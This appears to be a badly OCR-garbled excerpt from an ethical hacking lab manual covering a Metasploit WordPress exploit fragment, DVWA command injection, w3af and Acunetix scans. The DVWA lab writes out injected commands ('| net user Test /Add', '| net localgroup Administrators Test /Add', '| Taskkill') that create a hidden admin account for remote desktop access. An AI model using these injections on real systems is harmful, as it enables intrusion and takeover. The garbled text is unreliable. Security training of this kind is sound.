2008Yeehl and press Enter to set the tar

rast@root =

39. Mow, you have set ¢ mplodmation

40. Type expleit and po 5 exploitation on the
tulnemble plopm mstalled in WordPn arkitrary file upload and
remote sode execution).

H Lah M Eshical Hacking sml
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ful code execution, as

T4 -Magh .pho

8.8.3.7
3,4,H:4444 .=

2. Thus, von have = ssfnlly ganed a meterpreter session and thereby
attained remote A to the Tictim machine

3. To know the details of the mac

aali@root =

payl pad

L 2A15-5d .25

TR 6 0 bodld GBOE [Mindows Sorear J00E St

w5y It

e TANOD: Mmeterpreter commands to pedfoom pos

O Yes

Platform Supported

1 Classroom
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Lab

DI Adsa PI—.H:‘_-l{ WSOL svek abpilbcarion that is extremely vlnerable. Its main
goals are to be an aid for secunyy professionalr fo tert thetr skalle and ool f a legal
emndronment, belp neb developers better wnderstand the procesies of secwring web
atblcations, and aid teachers) riwdents in teaching) kg veb abbliaation secinty
I 3 claErrOom enTro ey,

Lab Scenario

Web developers bndd web applicatons, keeping in nynd thar all the secommy
measnres mvolved in dosng 5o, Any loopholes found in applicatons oupht allow
amackers to explodt them, resnlting m emote code execution, database extrachon,
and sometimes even the aDqulE:e tikeorer of servers that host them Thns, as a
CEH. yon oeed to ensure that web applicanions are p:opﬂ_. bmilt and free from

B Wb eparcse
mrilneshilites that conld lead w0 SOL ingection. cross-site senptng, and so on.

=] Wbk revien

Lab Objectives
The obijective of this lab i o help smdears leamn how o explot command line
execmnon Tilnemhiines,
Lab Environment
To pecform this lab, yon wil aeed

® A compnter mamning Wandows Serrer 2012

®  Windows Server 2008 mnning a5 vermal soackine

*  Windows 8.1 monmy as 3 momal machne

Web browzers
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#
=5

This b demonstoies the explotanon pediormed on command line execution
vulnesbibity found m DVWA. Hese, you will leam b extract mfoomation of a
target mmchme, coeate nser accon T i prileges to the created
acoomnt, and nse that acconnt to lop :

Ve Tnnls = Serch-s .-ht—cll"h. ns .lldrmh SEH'I:E :Lﬂ.i
click Step, rght-click Werld Wide Web Publishing Serviee and click Step.

5 admin zervice, if 3 Stop Other Serviees dialog-box appears
stating that other sermces will also stop, click Yes.
1. Click Start at the lower left of the screen | then click start WampSesrver
to laanch WampServer.

-

n
Ty Serwdt Flandies
L

H Comraraaed Froavid
a Pcioila Pewitar

FRGLIRE 5 |- Sturtunng the Wansplerees
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Lannch the Windows 8.1 wirmal machme from the Hyper-V nmnages,

Hrask 2 and log oato it.

Py s lion Launch Firefex browser, type the URL htipa[[P Address of Windows
Server 2008 )idvwa i the address bar, and press Enter.

Mote: The TP address of Windews Server 2008 in this lab s 10.0.0.9,
whuch might vary in your lab environment.

The DVWA login page appears; type the following credentials, then click
Login:

1. Usemame: gordonk

b. Passwood: abe123

DWA)

Loging

FIGLURE 5.2 Laypgeegr i o TVRA

5. gordoob’s page appears; click Command Execution.

B Lo Nulnmabin Wink App. ]

o)

Welcome to Damn Vulnerable Web App

arm 1. b App DS a P SOl wak ap e 3 dama
WARNING!

T

Inswcare CAPTCHA

Sl hsclairmer

FICGILRE 5.3 Saaching Covamad BExsaihon
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6. The command execotion wiliy m DVWA allows you to ping a
machine.

Trpe the IP Address of the Windews Server 2008 machine and click
submit to ping the machne.

Sl |

B [ o ke ek S +

£ TE O+ R B =

o Vulnerability: Command Execution

Somap

| Ping for FREE

Erniw Foico T

CERF Maore info
Iramcsra CHPTEHA

Fs bog besian

SO0 infrctica

S0 Ittt (EEre)

Uphaed

HIE el

FICFUIRE § 4: Prgging s Machine
6. DVWA has snccessfully panped a machine, as shown in the screenshot-
—rEN

B L Vulnrsbin Mn App.. r

Vulnerability: Command Execution
Fing for FREE

Msscara CAPTCHA
Flke I bt

EAL bajitiin

BAL Maje-mlon (BENG
Wptoad
11T

FIGURE 5.5 Bachms Piged Sucoegduly

. MNow, let us uy 1ssuing 2 different command and see whether DVWA

can execnte it.
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10. Issme the command | hesthame and click submit. Genemlly, hostname
15 msed to probe the name of the target machme.

B D Kuinarabie Wat App |

1w | =

]

Vulnerability: Command Execution
Fing for FREE

isstuie CAFTCHA

il I hesii oa

AL Mjeesan

S Wnjesctian (HEnd)

gl sl

EEE reflocied

AEE sgwnd More info

FIGAIRE 54: Ofsaceng Hid=mme

11. Becanse we have issoed a command instead of entering an P addsess
of 2 machipe, the application retums 2o eror, as showm i the
screenshot

|

B Do Wulnwrsbie Wad App.

=

DA

Vulnerability: Command Execution
| Ping for FREE

LR I |
Inszcara CAPTLCHA
Filw Inchmios lore info

SO0 b i

SAL i jincmian EI=

FIGARE 5.7: Brror Refuene] by the Applicataon

12. This shows that the application is secure enongh.
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= 13. Let 1= check the secnnty setting of the web application To check, click
o WRENENE DVWA Security m the left pane.

Canfigure =N
Security Setlings BB Diarrn Wi marabin ik A i

ru;n:;;,uﬂ More info
SL I jesion

SAL njescan @Sind)

gl roasd

RLE enfimcind

HEE sinrmd

v taiky |

Logau

L—

FIGLURE 5.8: Seltcsng DVWA Sy

14. DVIWA Security web page appears. Observe that the secnmry level is

high. This secusity setting was blocking yon from executing commands
other than =simply pinsine 3 machine.

B D ¥ufnarabln Was App. '

e

Harre DVWA Security »

s
el Soript Security

Biruen Tarcs:
Cormmuand Exncusgan

CEE

recars CAPTEHA [2zn

Fike linchemlis

B | PHPIDS
0L B iscmkan EEnS)

gl

XS5 eelnctd

EEE clorad

15 »

1hy dinshied

FIGURE 5.0 Viewisyy she Seeursy Setting
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15. Mow, we will be zethng the secnaty level of the web application to
“low” to explott the command execubon wolnembility. Here, omr
intention is to show that 2 weakly secnred web apphcation is the prime
foems of artackers, to exploa s vulnerabilmes.

16. Select lew option from the drop-down hist, and click Sulsmit.

o) - |
B D Vesinmabla Wak Spp- i

DVWA Security »
Semap Script Security

B Faicn
Commaral Execusum
CHRF
IFcnCars CEFTCHA
Fiie Wiz haian
S0 noln, |___PHPIDS
FIGLRE 5.3 Comdgnurmy TV Secunty

17. You have confionred weak secusity setting m DVWA. Tet ns see if we
can execute any commands besides pinging 2 machine.

18, Click Command Execution in the left pane

B L Nudamabdn fiak App.. i

DVWWA Security #

Senpt Secunty

aw

Fistcare CAFTCHA

ik D b o

SaL injectian PHPIDS
FAL b e=mman )

gl

HSS enfipcied

155 wtnemd

FIGLRE §.11: Sdechey Coammand Exauban
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19. The Command Execution web pape appears, type | hestname and click
submit.

]

B Ciarren b marabin W8 App.

1w | =

P Vulnerability: Command Execution
Fing for FREE

More info
hiwecuie CAFTCHA
il InC o
SO0 Bejiscnsini
L Wajesctian (S
gl vl
EEE el
AEE sorad

FIGLURE 512 Clstarengy Heddsoere

20. DVWA metorns the name of the Windows Server 2008 machine, as
shown in the scresnshot:

—— Vulnerability: Command Execution

| Ping for FREE

Somip

B Faicn
. [
CEHF |
Iramcors CEPTCHA
Fia fna bhetiisn

S0 injectica

SO b gt (B |
Lplasd

W5F refgmad

AL s

More info

FIGLRE §5.13: Histigene Disarnes]
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. This infers that the command execntion Beld is vnloeable, and you are
able to execute commands remotely.

2 Now, let us try to extract more information regarding the Windowrs
Server 2008 machine

. Type the command | wheami and click submit.

: .

4

.

DVWA)
Vulnerability: Command Execution
[ Ping for FREE

fud = o

bagecunn CAPTCEA
Fil Irchumins

BOL Injoten

SEL mjuction (Elisd |

W1

Maore info

FICATRE 5 14& (H:sering Diorrcen Enleer b

24. The application displays the nser, gronp, and prvileses information for
the nser eurrently logped onto the Server 2008 machine, as shown in the
sereanshor

I iy |

i Vulnerability: Command Execution

Irnernee Ping for FREE
Samip - P

Binite Faira

C3HE
Irancers CAETEHA
P Ko Wore info

S0 bnjection
SO b oot oo (Sl |
L L —

FIGURE 5 15 Daprmnaan Tedfanmesem Revsibed
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25. Now, let us view the processes mnning on the machine, Type | tasklist
. WA ¥ . 2nd click submit,
List the
Precesses

DA

s Vulnerability: Command Execution

| Ping for FREE
Semap

Enis Faica

CERE
Inancra EAEICHA 7
o bnabeabaii More info

SO injection
SO b jorion (Ee)
Uplasd

WES e

W4 s

FIGTRE 55 Clstmsbing Prsiickies ot e tices
26. Alist of all the mnning processes is displayed, as m the sereenshot:
—

[ B el ek 2 4
£ 3 '

tiwrs Vulnerability: Command Execution

Fing tar FREE
B

Lo

ey oy U8 PTA
i i

W ik

W o |3
lpscadl

S5 swlacind

K55 o]

TR e pi b
PHF iafa
Bhuiit

FIGLURE 5 IT: Prsosise, Infoematon Dirkane]
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27. Let s see if we can tenmnate 2 process. Choose a3 process (other than

windows process; here, firefox 15 chosen), and note its process [D
Tesminate a (PIDY).

Pragess e

Hrask &

FIGLRE 5 LR Virwsgra Feoosss FID
2B. Type | Taskkill /PID [Process ID value of the desired process] /F and
click submit.
29, By 1ssmng this command, you are foscefully (IF) tecoinating the process.
] |

B (s i iy M g
+ A B8

— Vulnerability: Command Execution

| Ping for FREE
Lamp

CEni

e 1w CHPTOHN
Fila ircimizn

S s

SR S (Bl
U b

K5 spfbman

KR stonod

Maors info

FIGLURE 5 1% Koiling @ P
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30. The process will be snccessfully terminated, as shown in the sereenshot

el |

BB (e Vo by Vb App

Vulnerability: Command Execution
Ping far FREE

Hruim f orem

CEAF

v e CAFTERS
i vl Maors o
B i

SO oo (06|

Uk

K55 taPamed
LR

FIGLERE 5.2k Proceis Sucteimhally Tersrmmde|

e e R e B
Eraseg 71 31. To confirm that the process has been smecessfully terminated, issne the |

- - tasklist command
List the Direstory

Stseture 32 Now, let vs mew the directory stmeture of the Windows Server 2008
machine.
33. Trpe | dir €2 and click submit to view the files and directosies n Gl

ey - |

B (har i ok g

" R R

]

Vulnerability: Command Execution

| Ping ter FREE

b CRPTE B
[ Mais iifa
SO o

S, o ik

Uph s

KRS rellemad

b Ehiacwsl

FIGALRE 521 (Hstsmsang Deeschiny biorminibon
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34. The directory stmetnre of Windews Server 2008 1= displayed, as in the
sereenshot

el - |

.- L

| Ping for FREE

CEAE

basiapaie CEFTORY
Fibs inAirbin

S oo

S e o (THed |
Upland

K55 rellacied

K Sh mioend

IriVaL Sscerivy
P i
s

Legzun

FIGLURE 5.2 Dinshiey Efiarrmtion Oliained
35. In the same way, you can issue commands to wew other directones.

36. Mow, we shall try to obtaun information related to the wser accounts.
I

[ 37. To view nser acconnt informanon, type | net user and click submit.

List the User
Azcounts

B D Vulnrabis ik Spp..

Vulnerability: Command Execution
[ Ping for FREE

Tiisscara CAFTCHA

il It b

BAL Majeian

AL B fesan (56 )

gl

LS eelimrivad 3 Li £

FIGLURE 5.23%: Obstanregy Ll oo Tedummscm
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38, DVW A obrains wser acconat information from Windews Server 2008
and lists it as shown in the screenshot

B Ciarrn b marabin W App.

T e ]

Vulnerability: Command Execution
[ Ping for FREE

za b

.

Jioep info

FIGEITRE 5.24 Uier Acoreant Infeomsstam Dlamed

39. Now, let us nse the command execunon vulnerability and attempr to
add 3 nser acconnt remotely.

40. Hese, we shall be creating an acconat named Test. Type | net user Test
Add and clck submit

B D Vulnarasbis Wik Spp..

| Ping for FREE

il usid Tast e

L

Mare info

FIGLURE 525 Addmg a New L
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41. A vser acconat 15 created on the mame “Test.” Let us mew the new nser
acconnt by sssmng the command | net user.

B D Kuinarabie Wat App |

1w | =

e ]

Vulnerability: Command Execution
Fing for FREE

: 161 3561 . fuldarei | | 2]
| @

hisscuia CAFTCHA
il InC o
SOL Majiscban
E01. tajsscsian (BEnd)
Wl ol
EEE el
EEE atownd

More info

FIGLIRE 525 Viewsyg the Added e

42 Youo wll ohserre the newly created acconar as shown in the following
screenshot

B Darn Nulpemtds Fab Spp

3

Vulnerability: Command Execution

PFing for FREE

More info

FIGURE 5.7 Viewmnyg the Addeld e
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43. Now, let s view the new acconnt’s information. Type | net user Test
and click submit.

B Ciarren b marabin W App.

Yulnerability: Command Execution
Ping for FREE

ior g P i

ot am Twad

Maore info

FIGURE 53 Veeng the Aakde:d] User Inhimses

44 The Test account information appears. You can see that Test iz a
standard nzer acconnt and does not have admimstratme povleges.

B Camn Nulnmabie Wk App. ]

CERF

Irsacai g CRPTTHA
]

FaL Inposann

L Ifecrion (D el
Uplnad

W55 netiscied

B4 airerd

[ R T
P ik
LHIEE]

Legow

Maors mnlo

FIGLRE 5.2% ¥emnng the Ackded Liser Infurmstem
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EHrask 10
Assign Admin
Privileges te the
User Aceount
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45. Let ns assign administrative privileges to the acconat. The eason for
granting adimn provileges to this account 13 to use this (admn) acconat
to log into the Windows Server 2008 machine by a2 remote deskrop
connectron and with adovnistrator access

46. To grant adoumistrative povileses, type | net localgroup Administraters
Test /Add and click sulmit.

t LLLE i & R B =

T )]

Vulnerability: Command Execution

B D Vulnarabln Wimh App

Fame
s

[ Ping for FREE

Biraiw Farcs Eammisiiaies sl | Gube] |
[ 3

Insacara CAFTCHA
Fibh I bl

EQL Fajumian

BAL Bnjesian (B
i ol

| eenscces ceaiions ina
FIGLIRE 5.3k Assgrimg Adeemisicene Prvicges
47. Mow yon have snecessfully pranred admin prilapes to the acconnt. et
ns confirm the new setting by 1sming the command | net user Test

+ LLLs 1 & R B8 =

Vulnerability: Command Execution

Ping for FREE

B L Culmacabl Wimd App i

CERF

Fnsscara CAFTCHA
Fibe Iz bt o

SAL Baje=mian

SAL Wnje=mhan ()

More info

FIGLRE 53k Viewsgy Ll Infensthian
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48. Observe that Test 15 now an administrator acoonat.

B Dern Vulrambin fak App .

HTHII 11

Establizh a
Remeate Deskiop
Cannhestisn
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51. The Remote Deskiop Connection dialog box appears; enter the IP
Address of the Windeows Server 2008 (here, 10.0.0.3) machine in the
Camputer text field and click Conneet.

L= Remote Deskiop Connection = = m

| Remote Desktop
*»* Connection

Compurier: | 10.0.0%

Lk ramee

You will be zaked for cradertials when you connect

= Show Options

FIGURE 53 Eablictenga Remite Desktop Conneten

52, The Windows Secnsity dislog box appears; enter the nsername Test and

click OK
Windows Security E

Enter your credentials

Thise credertialz will b= used to connect to 10009,

[ Tect

Comnain:

L Remember Iy credentials

FIGURE 535 Estilshebmg 2 Remote Diedchop Connasfon
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53 The Remete Deskiep Connection window appears; click Yes wo
connect to the remote compnter.

Remote Deskicp Connection

The sdentity of e pemole compuler canrol be vesified . Do

e wihits

wourtered whis yaldsting the mmate
truted conlying ity
[hz yoos wand bo ponnisct deapie these cerficate smom?
| Dot sk me agen for comnecions 1o th

e cetficae

{LELE

54. A emote desktop conne fully established,

the screens

ctaon Fatalthiden] Fazenbaly
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5. Thus, you have made nze of 2 command execotion vnlnembdity in a
DVWA applicanon hosted on a Windows Server 2008 machine,
extracted information related 1o the machine, created an adndmseraror
acconat remotely, and logped 1m0 at

536. Mow, yon may discontinme the sesuon znd log ont of the web
application.

O Yes
Platform Supported

= (:_'1'..155'1'-::'3&11.
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“\-’.r:l'\-« '1 f'" 4 ‘1"

Framework

B

wdaf o wedapplicarton ‘wiack and ands frawsevor ™ The projects poal & fo
et a framenork fo balp you recwre wek af _m':f'.f;rc:u:r By finding and exploiting all
Thair "n!l:'.f araalliteer.

[ o i =
LAk >Cenano

With the emerpence of Web 20, inceased infosmation sharns thwongh socal
netgodong, and mereasing adoption of the Web as 2 means of doinp breiness and
delmrenng services, webstes have often been attacked diectly. Hackers seek to

compramise either the cofpoare nemrork of its nsers who e acoeszng i wehate
Az many a5 70 of web zite: have minerabditie: thar conld lead to the theft of
sensite corpoate dam mch a3 coedit-card information and enstomes lists. Hackers
age concentrating thesr efforts on web-based apphicanons—shoppme carrs, forms,
lopin pages, dymemic contear. and so oo Accessible 24/7 from anvwhere in the
wodd, mzecnce web applications promde easy access to backend corpomte dambases
and allow hackers to perform illegal actrmnies nang the compronmsed sire.
Web 11::-1:'..1'('1&&11 amacks, lmnched on por 50/443, go stmight Tl1.[aﬂg‘“ the firewall
past Dpr.g-:—m and mpetvodslevel secnory, and mto the heart of the
application, where corporare dam rewdes. Talor-made weh appleations are often
msnfhoentdy emed have nadiscorered minenhlnes, and ae thesfore easy prey
for hackers

As an expert Penstanon Tester, vou will need to detesmene whether yonr webute 1s
secnize before hackers dovmload sensitve dara, comnut a cpme vsing yone webere
3s a2 bmoch pad and endanper yonr maness. TYom can nse wiaf o check the
webute, analvze i appheanons:, and find penlon: 301 aecton, cooss-ate seoptmye,
and othes attacks that conld compromese the onlne bouness Concse seports
sdennify where web applicatons need to be fimed, dins enabling yom to protect pour

tmmness from impending hacker artacks!
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. b s 5 ey e
Lap r»'.---'}i:'-a.--. Ves

The obectre of tus ab is 1o help smdenrs secnre web apphcanons and test
I Teals websates for vnlnerabiives and theears.
demenstrated in " :
this lab are Lab Ernwironment
availakle in

To pesform this Iab, yon will need:

D=iCEH-
Toels CEHVI ® A compnter maning Wandows Server 2012 (Heest hiachine)
Module 12

Haeking Wek ® A computer mamng Windows Server 2008 (Vienm Machme)

Applications ® A compmter mamine Bah Timm (Arscker Maching)
® Aweb browser with an Intermet connecnon
*  WAMPServer mnnmne in Windows Secrer 2005
Lab Duration
Time: 15 Mirmtes
Overview of Web Application Security
Web appleation security i= a banch of Information Secnaty that deals specifically
with secnry of websites, web applications, and web sermces
Ar a3 high level, Web application semmnty dows on the ponciples of applcation
secriry bme applies them specificalty to Internet and Web systems. Typically, web
applications are developed nsing programoing langmages mich as PHP. Java EE.
Java, Python, Boby, ASPMNET, C, VEMNET, or Clas=ic ASP.
Lab Tasks

Before starting thes lab, make sure that Windowrs Server 2003 wirtnal machine 1=
muned on and WAMPServer is moning

I

Lannch Windows Server 2008 from Hyper-V Manager and log into the
machine.

Onece yon have logged mito the machine, navigate to Start and click
start WAMPServer.

Thas will stact the WAMPServer sermce on the Windows Secves 2008

machine.
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S Frumniwcnk™s Seatuoes

':‘ TABK 2

Launch wiaf

L e et iy
a i, b "t

e =
[ R S

—
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4. Leave the Windows Secver 2008 monmg.

:EJ,. Sy Hanrger
B st Frcaapi
| e
- Moy gt e
R e B
ﬂ_ vashe Prsfas
@' e

FTGURE 6.1 St WAMPServer
Mow, lamnch the Kali Linux virmal machine from Hyper-V Manager
and log w0 the machine.

. Finding SOQL mjections and cross-site scripting 15 one of the most
common tasks performed by an ethical hacker.

7. To pecform this msk lannch w3af volnerbility scanner (Applications—
Kali Linnx —* Web Applications —* Web Vulnewmhbility Scanners, and
choose w3af).

P

??!f:‘f!?#!fﬁfﬁfﬂfﬁf

FIGLRE 6.2 Earich wiad
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8. Accept the terms and conditons of the wiaf pop-np by dicking Yes to
continme.
r -

Lisnge of wlal for sendirg wry Eroffic to 8 (et witheul

w prior mutual consant i Llagal. IT & the @l usar's

rasporsbility to obsy all applicable Loc al. state and fadaral
twars [evelopers assume no lisbility and are ot responsible

For any misuse or dymage cassed by thes program

Do you accapt the terms and conditions?

Pa

FIGURE 6.35: wiad Tenms snd Condires

Building the main sereen dialog box appears, wait wonl it completes. It
antomatically closes once confipnration 15 complate.

1
& with shemenl 1
rprohle ki

sl letters
hat Civeyrs

sifermrsitcm ol i
shoukd see 2 new perdile m
e bt

P R T T T — —

FIGLRE .4 wiaf Buiking sroen srvm diabig box

N st s thes 10. The wiaf — Web Application Attack and Audit Framewerk window
e i anatheic zppears, 33 shown in the screenshot.

Teckesrinds Hioe 2w Cin
privide m onder foe 1 o 10 s e 1

FIGLRE 6.5 wial M Window
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11. On the Sean econfiy wmh, choose empty prefile and type
hitp: /10,007 /dvwa) in the Target feld

12, 10.0.0.7 iz the IP address of Windows Server 2006 machine in which
the WAMPServer 15 hosted.

13. The IP addresses shown in the lab ooy vary in yon lab eaviconment.

14. Expand the node of the audit Plogin, a3 shown in the sereenshot

15. Andit plugmns will take the injechion points fonnd by crawl plogins and
transfer the crafred mformation to find any application wlnerabilities.

16. Once yon empand the andtt plepns, st displays the List of plugins
applicable to anditing a web apphication.

5
w3af = Wt Applicetisn AlRsck and Audit Framowork

Toncls  Confguraen  Haip

FIGRTRE éuf winl Size Crefypueses

17. Check esrf (cross-mre request focperies); tus plopin enables you to find
cross-site request-forgery vulnerabidibes in the web application.

weth azk
winnlly 4 qeck mgechon
o the HT TP teabhc unl
define what's regpaim:l
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18. Seroll down to choose some other plngins.

- il el Bl el ¥

ha wemp et tppe of corf 1o chacked ba be vunarahis, §
must hasw 1a parrearmnt ceabie, and the splesan

VIO e WS

FIGLURE &T: Chexamyy carf sttack plhggm

19. Mow, choose sqli and xss plugins, which help to find S0L imection
and cross-site scopting Talnerabdities,

W = Wab Applicatios ALk s AU Framssrn 1
plugzns. and o £

hranes. T i J |

Bar, ared s ch Tor Thal gt o T

b1 sl caton and at the and

HesLedly CIMLEd o
oo 4

FIGLRE 6.8 Choerang agh and 2o stk plugn
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20. Expand the crawl plugin to choose some mose plngins for mlnerabdicy

ASTETSMENT.

21. Crawl plopins are nsed to find new URLs, forms, and other injection
pounts.

weda® = \Wab Seglication Astack and Audit Framewark

Teole Canfiquratian Help

kg

eyl o5

1w parsmeksr makex the plugn

A AL B ] B TP el

fipse amegially crafted siring

[ D ]

FIGLURE 6.9: Setsirggs wp crone] plugn

2 In the crawl plugns, select web_spader, which will request a URL and
extract all the links and forms from the response according to three
IMPOrENt parameters:

wuireralelry is ;lnw—:'. ] a only_ forocard

b. ignoreRegex
c. followRepex

. only_forward and fellowRegex are commonly nsed to confipure the
weh_spider to spider all the TRLs except logout or some other more
exciting link moch as Beboot Appliance.

. igneteRegex 15 an empty stong by defanle
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25, After choosing all the respective plugins (onder amtack), click Start, as
_ & vasx s thown m the screenzhot.

Start Scan wdal - Weh Appiathon ST ch sd AL S Framm sl 1

“ wrab_xpidur

* jageryihicg minllom

oo g

FICLIRE 60 weby_spicter plhugin s stasting Sess
26. Mow, click the Log ab to wiew the scan results; nt displays the
Vulnerabilities, Infermation, and Erver io TURL=.

27. On the Log mab, you can able to see scan stams in a praphical mode and
cxaw] status displayed below.

IF T _'-1

Lr_l weloiF ke 2By ua g0

exphon wanemalabee 1Fwe

FIGLURE A11: wiaf Log Talr
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28. On the Results b, click KB Browser to hst all the wnloerabilities
recorded by wiaf.
i —

CEE R RN ERENERNENNNER.

I:l:l Ao phogpne tikr He

FIGARE 612 winf Reedts

. Now, choose aoy one recorded wulnerabdlity to display it on the
respective page, as ia the dashboard section.

i, |

vubenlshhe | i & &

A EEENEREENRE EENNER]

FIGURE &£1% wiaf Vidnealnbiy mbicioses

You can go throngh all the recorded wvulnermbilibes and fix all the
tulnemhle codes 10 your web applications.
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i 1 .
| s Analhveic
b b 'qﬁ ’:\-\:'f- b b

Analbyze and doenment the resnles melated to tus lab exesmise. Prowide yonr oprmon
of yomr tarpet’s secnity posme and exposmie.

O Yes
Platform Supported

[ Classroom
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Lab

|L""{

Acwenerie web ywdnerability scawner (W) Broadens he seope of wlmerability
sy by fitroducing -":3“ uil'.l“‘-'.‘l‘\-?‘.'z and rigorois besemitis rechmalk *-_gm desigmed 10
rackle the complesatir of voekay's web-Based emptroniens.

[ o i =
LAk >Cenano

Az 3n expert Penetration Tester, vom pead to detesmne whether yone websire 13
secnee before hackess download sensivre dars, comoner 3 come nzing one webaite
as a lanch pad, and endanger your business. You can nse Acmnetic Web
Vnlnemhdity Scanner (WS to check the webate, analyzes i applications, and find
rinembilines thar conld lezve it exposed to SOL myection, cross-site seophing, and

ther vilnershdinies that conld expose the online bosness o attacks. Conose
teports identify whese web applicasions need to be freed, dms enabling yon 1o
protect your bnsmess from impending backer armcks!

Lab Obiecti
Lap 'l..,r;,_-r.:- ves

The chiective of tus b & w0 help smdents secnse web applications and test
[ Tesls webstes for wlnecbdines and threats.
demehstrated in y P ’
this lak are Lab Enwironment
available in
D='CEH-
Teols CEHVE " Amnetis Web valoeabdity scanner is located ar DRCEH-Tools CEHvD
Medule 12 Medule 12 Hasking Web ApplicatisnsWek Application Seewity

Hacking Wek Teeols\Beunatin Web Vulnerability Seanner
Applicatisns

To pecform this b, yon wil need:

You can also download the latest version of Acnnetic Web
Tilnesabdity scannes from the link

J.'II[P ST acnnetiE. oo ﬂ-]JJ.Eﬂ]}LI.LI_-.sIZ'H.IJ:L'I.EI

If you decide to download the laest version, then screenshots shown in

the lab nuight differ
A compnter momng Windows Server 3012
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gy s A web browser vath an Internet connection
pcumstis VS e Microsoft SQL Server/ Micsosoft Access

H=e e scunehe coer

[ | 5
Lab Duration

Time: 15 Mimmtes

Overview of Web Application Security

-

Web application secnnty 15 2 branch of nformation secneity that deals specificaliy
with secnoty of websites, web applications, and web sermces.
S.HI PRUTE. TN MOT  Ar a hish level Web application secnsiry domes on the prneiples of application

SUAM A WEBSITE

WITHOUT PROFER seonary b applies them sp-e*::.'E,.aﬂ'.' to Intemet and Weh systems. Tpacally, web
e app]icaﬁm are developed waing programmine lingmages such as PHP, Jaa EE,
Jawa, Prthon, Roby, ASPINET, C#, VBEINET, oz Classic ASP

Lab Tasks
In this lab, the machine hosting the website is the wictim machine (Le.,
Windows Server 2012); the machme nsed to mn Acunetix Web
Vulnerability Seanner is Windews Server 2008 (attacker machine).

= TABE 1 1. Logm to Windews Server 2008,

Install Acemsetix . Mawigare 0 ZNCEHVY Medule 12 Hacking Web ApplicationsWeb
Webk Vulnerability Application Security Tools\Acunetin Web Vulnerability Scanner and
— donble-click vulnerabilityseanner.exe.

If Open-File Security Waming pop-up appears, click Run.
. Follow the steps to install Acunetix Web ‘u’uinemhﬂmr Scanner.

= e

Welcome to the Acunetix Web
Vulnerability Scanner (Trial
Edition) Setup Wizard

s ani ity Soancer 9.0 ony pour
CDmDuUber

T1is recommendad thatveu doss all other spplcabors before
rue, o Cancel o et st
netiz TWYS

s sl sets of
H_'T-'un-—u oy e

 apeifie Bl faily.

T.1: Acunete WWS Sz Sehep Wiesnl
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5. The acunetix web page opens in the defanlt hrowser €lese the web

B |

B - Page = ) oo -

acunetix T N i ¥ in

|| v e R b T SRR O O MERARR Y RO R THRYL SRNCEEE EESED L RN AT ACIEETON  WECLENTY B
(Getting started with Acunetix Web
ulnerability Scanner

G witing Staried with Lsunatic VS B

iy gl Ve R e

FIGLRE 7.2 asunets wrbpage
6. If a Security Waming dialop box appears, azkng vou to inswmll a
certificate from a certification anthonty (CA), chek Yes.
MNote: In addition if 2 Seeurity Alert pop-up appears, chick 0K
[BEE WG - FEm— 7. Inthe fnal installation step, click Finish.
e s sl p——— sE

wbrrabdisies Found in
very vubenl Completing the Acunetix Web
i Vulnerability Scanner {Trial
Edition) Setup Wizard

Finisn

FIGIURE 7. Erel of Acusetiz WV Setujs Wiean
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8. A Trial Editien pop-np appears; click QK.

ENTE

Sean Website for
Vulnerakility

Fir e informm fion o o o b curels e b Y, e s bl S srnes
i [l . s Cora A

[ or

FIGLFRE 7.& Toal Behites peopeun
9. The Acunetix Web Valnerability Scanner main window appears, along
with the Update infe pop-up. Click Clese.
10. The Acunetix Web Vnloerability Scannes Scan Wizard appeass,
displamay the Sean Type Select sean single website, enter the tarper
webzte's URL in the Website URL field and click Hext.

Note: In thus lab, the URL 1= hip://10.0.0.2 ‘momesgope; the TP address

10.0.0.2 in the URL might vary in your lab environment.

Yon may instead specify the tarpet URL as htip:/ /v mnomescope.com to
scan the website, i which case your results will appear different.

A

nrgs Fbaik oo AN e Bl ol 5 P s CLR)

T

w Haws pou Con 1oan & mngie bt ncase vou aend be ooaa @ onghe veeb applceten and nol e
ok i o s mnien tru bll ek | by ke mingars HI'T P et HT TS mesbinian,

= Gnary g bl

ket AL e 1000 Lrevmicare j

W okt e e 0 s 050 e bt sy biod i ol L s ] el s The
et vll bt B A s o B ] o e o s g

L] Jroumant ot sl ol mebeies. ine e At Soledi
Vi TR AOTE0 He dibwerids siabare beclcang B ok bebowe

e ] 1 {1

i' = Larcsl

FEGLRE 75 S Wimel of Adunet= WS
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11. In Optiens section, leave the settings set to defanlt, and click Next

ECaring s
& Sanrng Drodle al ariabiethesbie BV nd bpk (0 QR of bedbe] fors s ket s,

Sesnrrgpole | Delsd

. Scevwg setingr allow oy ko adund soering bebeeo la e cuswnl oenfn

ELF The Seen Tag it 1. 2 -

prrreesly | : 1™ ey i dadd b detshine

exaracd n dow
Ciarbig plian

Thars aptore wall defre e bshawiow of e cossler fon el cosert e 1 o wanl b oy
tha perarsl cupsler behavas you theukd ga b seting:

T Wil crwrding bat rea chocos ha iz ko scmn

D wbna et o ULy 1o b proca oo bey creevdan al oot

acunetix

[ ] e

FIGLRE 74 Amunete WS Ophor Wisicd

1Z. In the Target section, confirm the targets and technologes detected by
clicking Hext

3 0 S0 St et mich
a hars path. By anteeng hars detal you can mduca e

H Dpta bai lollgwing Seobnsbagios

acunetix

Erack |- ﬂ.na.-

FIGLRE 7.7 Acensti WV Scan Taget Weeand
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13. In the Login step, leave the settings set to defanlt and chick Next.

Foimes Al an o sy
E—‘E 11 i e By sl e sl oL 0 i e o sl e gl o 1 o e
* wnbidte, Thin millben cowedd e o by indepameacy e ] Dan b issd L,
o can s precfy 8 sechan of Faasbnte e hiuea deinat vaand 1 b cimsta | e4pls
e B vl L ] o T i e v bslie].

Logh sapeeres | e g squerees = |[Hew Lopi S epumme

= Meanguckibe HTTT

hamaders
= Ensble Port Sesemy

* EBrable AcuSeor
Tecknelogy

geunstix

Btk " hhed = ] Carcal

FIGURE TR Acmwex TVE Soen Ly Woon!

14. The Finish section appears; click Finish

|= Logn el mrnred smhap
B Fisigh

Lars rosn ve

dhetre dre w pwcehic bt
fre o

acunetix

Sarva curlomesd xoan skbng:

+ Bk I Bruzh ]

FICHTRE T8 Acwwt= WV Scan P Wisind
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15, Amonetre Web Vulnembdicy Scanner stams scanning the MovieScope
webzte for valnerabdlmes.

. Dmgng the scan, the HTTP authentieation pop-up appears; enter the
czedentials of Windews Server 2012 and click OK.

[17TP authenicotion |

WS fieeds o auhanticate, Pleaas enlel your ciedantiak bedow
| sppied stomaticaly o smy path thatizb

pelb pou =d her= I b= path i & sub diecion end not a lis

nailing desh

In St Chpptun _l.!uumsme. |u:|||.:u.||¢!'.|

Frazewoid:

et whsild b
